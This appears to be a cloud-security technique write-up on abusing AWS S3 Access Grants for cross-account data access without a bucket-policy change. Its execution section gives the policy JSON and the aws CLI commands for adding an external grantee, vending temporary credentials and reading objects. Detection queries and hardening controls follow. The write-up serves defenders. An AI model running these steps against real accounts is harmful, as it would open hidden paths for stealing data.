Effective S3 access is not described by the bucket policy alone. S3 Access Grants has its own instance resource policy, identity-to-data grants, registered locations, and credential-vending API. Those relationships can authorize an external principal even when the bucket policy names no external account.
An attacker who can add a cross-account grant and extend the instance policy can let an external role call GetDataAccess. S3 then assumes the registered location role and returns temporary credentials scoped to the matching data.
Bucket policy review alone can miss a working cross-account read path.
Technique
The reusable technique establishes access through an authorization plane defenders may not include in their primary resource-policy review. The alternate plane maps an identity to data, selects an execution role, and vends a constrained session. The bucket policy remains only one layer in the final authorization decision.
flowchart LR
A([External principal])
P[Alternate authorization plane]
R[Role-backed credential broker]
C(Temporary data-access session)
D[S3 data]
A -->|authorized request| P
P --> R
R --> C
C --> D
class A principal
class P,R,D awsResource
class C credential
Required properties
- An alternate control plane can authorize access to the target S3 scope.
- The attacker can create or influence both the grantee relationship and any required cross-account trust.
- A registered location maps the target scope to an IAM role.
- The service can vend a temporary session for that role.
- The role, bucket, key, organization, and endpoint policy layers contain no blocking explicit deny.
Implementations
| Implementation | Validation | Authorization objects | Effective identity | Data scope | Key tradeoff |
|---|---|---|---|---|---|
| S3 Access Grants | Validated | Instance policy, Access Grant, registered location | Temporary session of the location role | Bucket, prefix, or object matched by the grant | Regional configuration and the location role remain an upper bound. |
How the implementation works
An Access Grants instance is the regional authorization broker. Its resource policy authorizes callers, grants map identities to S3 scopes, and registered locations map those scopes to IAM roles. GetDataAccess returns temporary credentials for the matching relationship.[1][2]
flowchart TB
V([Compromised victim principal])
P[Access Grants instance resource policy]
G[S3 Access Grant]
I[S3 Access Grants instance]
E([External IAM role])
L[Registered S3 location]
R[Location IAM role]
C(Temporary STS credentials)
D[S3 bucket prefix]
V -->|PutAccessGrantsInstanceResourcePolicy| P
V -->|CreateAccessGrant| G
P -->|permits GetDataAccess| I
G -->|external grantee + READ scope| I
E -->|GetDataAccess| I
I -->|select matching location| L
L -->|AssumeRole| R
R -->|vends scoped session| C
C -->|GetObject| D
class V,E principal
class P,G,I,L,R,D awsResource
class C credential
An S3 Access Grants instance is regional. The S3 data, instance, and registered location must be in the same Region. The instance ARN has the form arn:aws:s3:REGION:ACCOUNT:access-grants/default.[2:1][3]
A registered location maps s3://, one bucket, or one prefix to an IAM role. S3 Access Grants assumes that role and applies the grant’s READ, WRITE, or READWRITE scope when vending credentials. The role trust policy must permit access-grants.s3.amazonaws.com to call sts:AssumeRole and, for IAM grantees, sts:SetSourceIdentity.[4][5]
AWS recommends registering the default s3:// location. That location covers every bucket in the account and Region, while each Access Grant narrows access to a bucket, prefix, or object. Its location ID is always default, and AWS does not allow a grant for the unscoped root location.[4:1][6]
The location role remains an upper bound. A grant cannot make its temporary session exceed the role’s S3 and KMS permissions, and explicit denies in bucket, key, organization, VPC endpoint, or role policies still apply. This technique avoids a bucket-policy change; it does not bypass an explicit deny.
Execution requirements
The low-permission path depends on which Access Grants components already exist.
| Existing state | Victim-account control needed | External-account control needed |
|---|---|---|
| Instance, registered location, and instance policy already trust the external role | s3:CreateAccessGrant |
s3:GetDataAccess identity permission |
| Instance and registered location exist, but no cross-account instance policy applies | s3:CreateAccessGrant and s3:PutAccessGrantsInstanceResourcePolicy |
s3:GetDataAccess identity permission |
| Instance exists, but no suitable registered location exists | Add s3:CreateAccessGrantsLocation and iam:PassRole |
s3:GetDataAccess identity permission |
| No Access Grants instance exists | Additional instance creation and location setup permissions are required | s3:GetDataAccess identity permission |
CreateAccessGrant documents only s3:CreateAccessGrant as required for an IAM user or role grantee. The extra Identity Store and IAM Identity Center permissions apply to directory grantees. Registering a new location requires iam:PassRole, but using an existing location does not.[6:1][3:1]
The external IAM role also needs an identity policy that allows s3:GetDataAccess on the victim’s Access Grants instance. Cross-account evaluation requires that identity policy and the victim instance resource policy to allow the request.[2:2]
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "s3:GetDataAccess",
"Resource": "arn:aws:s3:us-east-2:111122223333:access-grants/default"
}
]
}
The existing location role must already:
- Trust the S3 Access Grants service.
- Allow the S3 and optional KMS operations required for the target data.
- Cover the target bucket or prefix through its resource and condition constraints.
A broad default s3:// location role is especially valuable because one new grant can select any covered bucket or prefix in the Region without changing that role.
Execution
This example uses Access Grants instance account 111122223333 in us-east-2. The existing default location s3:// maps to a role that can read s3://finance-records/reports/. The external grantee is arn:aws:iam::444455556666:role/ExternalAnalytics.
The instance resource policy must permit that role to request credentials. The following is the relevant statement. When updating an existing policy, retain every expected statement in the policy document:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "ExternalAnalyticsDataAccess",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::444455556666:role/ExternalAnalytics"
},
"Action": "s3:GetDataAccess",
"Resource": "arn:aws:s3:us-east-2:111122223333:access-grants/default"
}
]
}
Apply the instance policy from the victim account:
aws s3control put-access-grants-instance-resource-policy \
--account-id 111122223333 \
--policy file://access-grants-policy.json \
--region us-east-2
PutAccessGrantsInstanceResourcePolicy requires only the corresponding victim-account S3 permission. An external role that already knows the instance account, Region, and target needs s3:GetDataAccess, but not discovery actions such as ListAccessGrants or ListAccessGrantsLocations.[7][2:3]
Create a read grant against the existing default location. Because the registered scope is s3://, the subprefix begins with the bucket name:
aws s3control create-access-grant \
--account-id 111122223333 \
--access-grants-location-id default \
--access-grants-location-configuration S3SubPrefix='finance-records/reports/*' \
--permission READ \
--grantee GranteeType=IAM,GranteeIdentifier=arn:aws:iam::444455556666:role/ExternalAnalytics \
--region us-east-2
The grant stores the external role ARN, location ID, effective GrantScope, and READ permission. It does not modify the bucket policy, location registration, or IAM role.[6:2]
The external role requests temporary credentials from the victim’s instance:
aws s3control get-data-access \
--account-id 111122223333 \
--target 's3://finance-records/reports/*' \
--permission READ \
--privilege Minimal \
--duration-seconds 3600 \
--region us-east-2
Minimal scopes the returned credentials to the requested target when that target is within the grant. Default instead returns credentials scoped to the closest matching grant. The default duration is one hour, and the caller can request between 15 minutes and 12 hours.[8][5:1]
The response contains AccessKeyId, SecretAccessKey, SessionToken, Expiration, MatchedGrantTarget, and the matching grantee. The external role can use those credentials for S3 operations within the vended session scope:
AWS_ACCESS_KEY_ID='ASIAEXAMPLE' \
AWS_SECRET_ACCESS_KEY='example-secret' \
AWS_SESSION_TOKEN='example-session-token' \
aws s3 cp s3://finance-records/reports/q3-summary.csv - \
--region us-east-2
The S3 request is authorized as the temporary session of the victim-account location role, constrained by the Access Grant and requested privilege. A bucket-policy review can therefore show no external principal even though an external role can obtain working data-plane credentials.
Boundaries and failure conditions
The technique does not bypass explicit denies. The registered location role, Access Grant scope, bucket policy, KMS key policy, organization controls, and VPC endpoint policy can still block the session. It also fails when the instance policy does not authorize the external caller, no grant matches the target, or no registered location covers the data.
Deleting the grant or removing GetDataAccess trust from the instance policy prevents new sessions. Already issued temporary credentials remain usable until expiration unless another policy layer denies their requests.
Detection
The behavioral invariant is effective S3 data access that cannot be explained by bucket policy and ordinary identity policy alone. Reconstruct the complete authorization chain:
- The Access Grants instance resource policy defines which external identities may call the broker.
- The Access Grant binds a grantee ARN to a scope and permission.
- The registered location binds that scope to an IAM role.
GetDataAccessproves that the caller requested temporary credentials.- S3 data events show the resulting location-role session reading objects.
A bucket policy, IAM identity policy, or access point inventory alone cannot reconstruct this chain.
Current-state inventory
Retrieve the instance resource policy:
aws s3control get-access-grants-instance-resource-policy \
--account-id 111122223333 \
--region us-east-2
List every grant, including its grantee, scope, permission, and location ID:
aws s3control list-access-grants \
--account-id 111122223333 \
--query 'AccessGrantsList[].{GrantId:AccessGrantId,Grantee:Grantee.GranteeIdentifier,Scope:GrantScope,Permission:Permission,LocationId:AccessGrantsLocationId}' \
--region us-east-2
List registered locations and their IAM roles:
aws s3control list-access-grants-locations \
--account-id 111122223333 \
--query 'AccessGrantsLocationsList[].{LocationId:AccessGrantsLocationId,Scope:LocationScope,Role:IAMRoleArn}' \
--region us-east-2
Both list operations paginate. Inventory must consume all pages in every Region. For each external IAM grantee, confirm that the instance resource policy, grant scope, permission, registered location, and location role all match an approved relationship.[9][10][11]
Focused CloudTrail event
S3 Access Grants control-plane operations are S3 management events. GetDataAccess uses eventSource s3.amazonaws.com, even though the API is called through the regional S3 Control endpoint. The resulting S3 object reads are separate data events.[12][13]
A cross-account credential request can be identified from the caller account, recipient account, target, permission, duration, and Access Grants instance ARN:
{
"eventTime": "2026-09-01T15:30:00Z",
"eventSource": "s3.amazonaws.com",
"eventName": "GetDataAccess",
"awsRegion": "us-east-2",
"userIdentity": {
"type": "AssumedRole",
"arn": "arn:aws:sts::444455556666:assumed-role/ExternalAnalytics/session",
"accountId": "444455556666"
},
"sourceIPAddress": "198.51.100.24",
"requestParameters": {
"Host": "111122223333.s3-control.us-east-2.amazonaws.com",
"durationSeconds": 3600,
"permission": "READ",
"target": "s3://finance-records/reports/*"
},
"responseElements": null,
"readOnly": true,
"resources": [
{
"type": "AWS:S3::AccessGrantsInstance",
"ARN": "arn:aws:s3:us-east-2:111122223333:access-grants/default",
"accountId": "111122223333"
}
],
"managementEvent": true,
"recipientAccountId": "111122223333",
"eventCategory": "Management"
}
GetDataAccess does not place the returned credentials in responseElements. Retain the caller identity, target, permission, duration, instance ARN, source address, and request ID for correlation.
Detection inputs
| Event or state source | Decision-useful fields | Why it matters |
|---|---|---|
s3.amazonaws.com PutAccessGrantsInstanceResourcePolicy |
instance account and Region, actor, policy document when present | Introduces or expands cross-account access to the credential broker. Retrieve and compare policy versions rather than alerting only on the API name. |
s3.amazonaws.com CreateAccessGrant |
grantee type and identifier, location ID, S3 subprefix, permission, actor | Creates the identity-to-data authorization relationship. Join the location scope and subprefix to calculate the effective grant scope. |
s3.amazonaws.com CreateAccessGrantsLocation |
location scope, IAM role ARN, actor | Adds a role-backed path to more buckets or prefixes. This event is absent when the attacker reuses an existing location. |
s3.amazonaws.com GetDataAccess |
userIdentity.accountId, recipientAccountId, target, permission, privilege when present, duration, instance ARN |
Shows credential vending. A caller account different from the instance account is the primary cross-account signal. |
s3.amazonaws.com GetObject |
bucket name, object key, location-role session ARN, sessionContext.sourceIdentity, source address |
Confirms object reads made with the vended session. Requires S3 object data-event logging. |
| Instance resource policy | external principals and permitted Access Grants actions | Defines who can request credentials or enumerate grants. |
| Access Grant inventory | grantee ARN, scope, permission, location ID, creation time | Defines which identities can receive which S3 permissions. |
| Registered location inventory | location scope and IAM role ARN | Identifies the role whose permissions bound the vended credentials. |
CloudTrail logs S3 control-plane operations as management events. Object operations such as GetObject are data events, which CloudTrail does not log by default.[13:1]
Correlation logic
- Parse every Access Grants instance resource policy and identify principals outside the approved accounts or organization.
- Join each external IAM grantee from
ListAccessGrantsto its effective grant scope, permission, and registered location ID. - Join the location to its IAM role. Expand the role’s S3 and KMS permissions, permission boundary, and applicable organization, bucket, key, and VPC endpoint policies to determine the actual upper bound.
- Alert directly on successful
CreateAccessGrantcalls whoseGranteeIdentifiercontains an unapproved account ID, especially when the grant usesREADWRITE, a bucket-wide scope, or the default location. - Correlate
PutAccessGrantsInstanceResourcePolicywith a nearby externalCreateAccessGrant, then withGetDataAccesswhereuserIdentity.accountIddiffers fromrecipientAccountId. - Join
GetDataAccessto subsequent S3 data events through time, target scope, location-role session, request context, andsessionContext.sourceIdentitywhen present. - Raise severity for long credential durations, repeated vending, broad
Defaultprivilege, or object reads outside the caller’s normal dataset.
Tune against approved data-sharing roles, account IDs, grant scopes, location roles, applications, and credential durations. A familiar bucket name is not sufficient because the external trust is attached to the Access Grants instance and grant.
Hardening
Hardening must remove control of the alternate grant, cross-account broker trust, location-role coverage, credential vending, or resulting data access.
| Control | Implementation | Why it helps |
|---|---|---|
| Separate permissions management | Reserve s3:PutAccessGrantsInstanceResourcePolicy and s3:CreateAccessGrant for a dedicated data-access workflow. Do not combine them in general S3 administration roles. |
Prevents one compromised principal from creating both halves of a cross-account path. |
| Scope grant creation | Restrict s3:CreateAccessGrant to approved Access Grant ARN patterns, required request tags, and allowed s3:AccessGrantScope values.[3:2] |
Limits the buckets and prefixes a grant creator can expose. |
| Validate grantees | Route grant creation through automation that validates GranteeIdentifier against approved account and role ARNs before calling CreateAccessGrant. |
Prevents a scope-authorized operator from substituting an external grantee. |
| Narrow instance policy | Permit only exact external roles and only the Access Grants actions they require. A role that knows its target generally needs s3:GetDataAccess, not grant or location enumeration. |
Reduces credential-broker and discovery access. |
| Limit registered locations | Use bucket- or prefix-specific locations and roles for sensitive data. If the default s3:// location is retained, constrain its role with s3:ResourceAccount, s3:AccessGrantsInstanceArn, bucket resources, and explicit denies where appropriate.[4:2] |
Reduces the data reachable through one newly created grant. |
| Complete inventory | Inventory instance policies, grants, locations, location-role policies, bucket policies, access points, and KMS key policies in every Region. | Reconstructs the complete authorization chain instead of treating bucket policy as the only cross-account boundary. |
| Credential-vending alerts | Alert on external GetDataAccess, unexpected targets, READWRITE, Default privilege, and durations outside the application baseline. |
Detects use of the authorization path even when its control-plane objects predate log retention. |
| Object data events | Enable targeted S3 data events for buckets covered by Access Grants locations and retain source identity fields. | Connects temporary credential vending to actual object access. |
References
Amazon S3 User Guide, S3 Access Grants concepts. ↩︎
Amazon S3 User Guide, S3 Access Grants cross-account access. ↩︎ ↩︎ ↩︎ ↩︎
AWS Service Authorization Reference, Actions, resources, and condition keys for Amazon S3. ↩︎ ↩︎ ↩︎
Amazon S3 User Guide, Register a location. ↩︎ ↩︎ ↩︎
Amazon S3 API Reference, GetDataAccess. ↩︎ ↩︎
Amazon S3 API Reference, CreateAccessGrant. ↩︎ ↩︎ ↩︎
Amazon S3 API Reference, PutAccessGrantsInstanceResourcePolicy. ↩︎
Amazon S3 User Guide, Request access through S3 Access Grants. ↩︎
Amazon S3 API Reference, ListAccessGrants. ↩︎
Amazon S3 API Reference, ListAccessGrantsLocations. ↩︎
Amazon S3 API Reference, GetAccessGrantsInstanceResourcePolicy. ↩︎
AWS Transfer Family User Guide, GetDataAccess CloudTrail event example. ↩︎
Amazon S3 User Guide, Amazon S3 CloudTrail events. ↩︎ ↩︎